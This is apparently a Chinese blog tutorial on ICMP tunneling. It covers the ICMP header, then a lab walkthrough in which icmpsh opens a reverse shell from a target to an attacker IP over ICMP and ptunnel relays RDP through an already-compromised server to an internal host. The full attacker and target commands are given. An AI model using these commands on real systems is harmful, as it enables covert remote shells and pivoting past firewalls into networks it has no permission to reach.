icmp隧道基础

  1. icmp隧道基础
    1. ICMP报文结构
    2. ICMP隧道原理
    3. 实践搭建隧道
      1. icmpsh
      2. ptunnel

icmp隧道基础

ICMP协议既不是基于TCP,也不是基于UDP,而是直接基于网络层的IP协议,在整个网络协议栈中属于相当底层的协议了。用于实现链路连通性测试和链路追踪(我们常用的ping命令就是基于icmp协议实现的)。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

ICMP报文结构

下面介绍一下ICMP报文的结构

ICMP头部分为三个字段:
type 类型 (0回应,8请求)
code 代码
checksum 校验和

其余部分三个部分为为:
标识符 ( identifier ),一般填写进程 PID 以区分其他 ping 进程;
报文序号 ( sequence number ),用于编号报文序列;
数据 ( data ),可以是任意数据;

ICMP协议在实际传输中数据包:20字节IP首部 + 8字节ICMP首部+ 1472字节<数据大小>38字节
ICMP首部细分为8位类型+8位代码+16位校验和+16位标识符+16位序列号

image-20221229120816554

ICMP隧道原理

即是把原本其他协议内容通讯,放在选项数据位置,从而伪装成一个ICMP进行通信

值得一提的是,ICMP是控制协议,不需要端口号。

实践搭建隧道

icmpsh

icmpsh是一款使用简单,而且不需要管理员权限即可运行的程序,可以较为简答的搭建隧道并同时获得目标shell

我这里用虚拟机和物理机来进行实验

这是工具的地址https://github.com/inquisb/icmpsh

下载icmpsh 到本地
git clone https://github.com/inquisb/icmpsh.git #下载工具
apt-get install python-impacket #安装依赖
sysctl -w net.ipv4.icmp_echo_ignore_all=1  #关闭本地ICMP应答
执行监听命令,等待回连,IP 192.168.220.146是目标机器
python icmpsh_m.py <attacker’s-IP> <target-IP> 
python icmpsh_m.py 192.168.220.129 192.168.220.146
目标机器执行命令格式
icmpsh.exe -t <attacker's-IP> -d 500 -b 30 -s 128

同时值得注意到是,这个工具是基于python2运行的,python3环境运行的话会报错哦~😅

You need to install Python Impacket library first问题解决方案:

git clone https://github.com/CoreSecurity/impacket.git

cd impacket/

python setup.py install

出现下面这种情况说明搭建好了

image-20221229172143069

但是这里搞忘关掉kali本身的icmp服务了,所以导致流量巨大

先关了,然后就可以获得一个交互式shell

image-20221229173404402

ptunnel

这个工具在kali中也是内置的。

安装
#安装libpcap的依赖环境
yum -y install byacc
yum -y install flex bison

#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

执行是可能的报错

error while loading shared libraries: libpcap.so.1: cannot open shared object file: No such file or directory

执行一下命令

whereis libpcap.so.1a

可以看到文件是存在的,只是系统找不到,做一个连接就好了

sudo ln -s /usr/local/lib/libpcap.so.1 /usr/lib/libpcap.so.1

我们搭建以下环境进行实验(好麻烦)

xxx 公网vps

ip2 已经拿下的目标公网服务器(我用kali来代替)

ip3 无法访问,需要通过隧道才能访问的内网服务器。(虚拟机中的一个win10)

vps 执行

ptunnel -p ip2 -lp 3389 -da ip3 -dp 3389 -x cookie
-p  跳板的公网IP
-lp 指定本机的监听端口
-da 目标服务器的内网IP
-dp 指定目标服务器的端口
-x  为隧道写一个隧道密码,防止隧道滥用

你拿下的公网服务器执行

ptunnel -x cookie

image-20221229203234279

(上面是攻击机的界面)

image-20221229203242870

(上面是跳板机的界面)

然后我们访问攻击机的3389端口,即可远程登陆对应目标

image-20221229203317920

image-20221229203412222


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。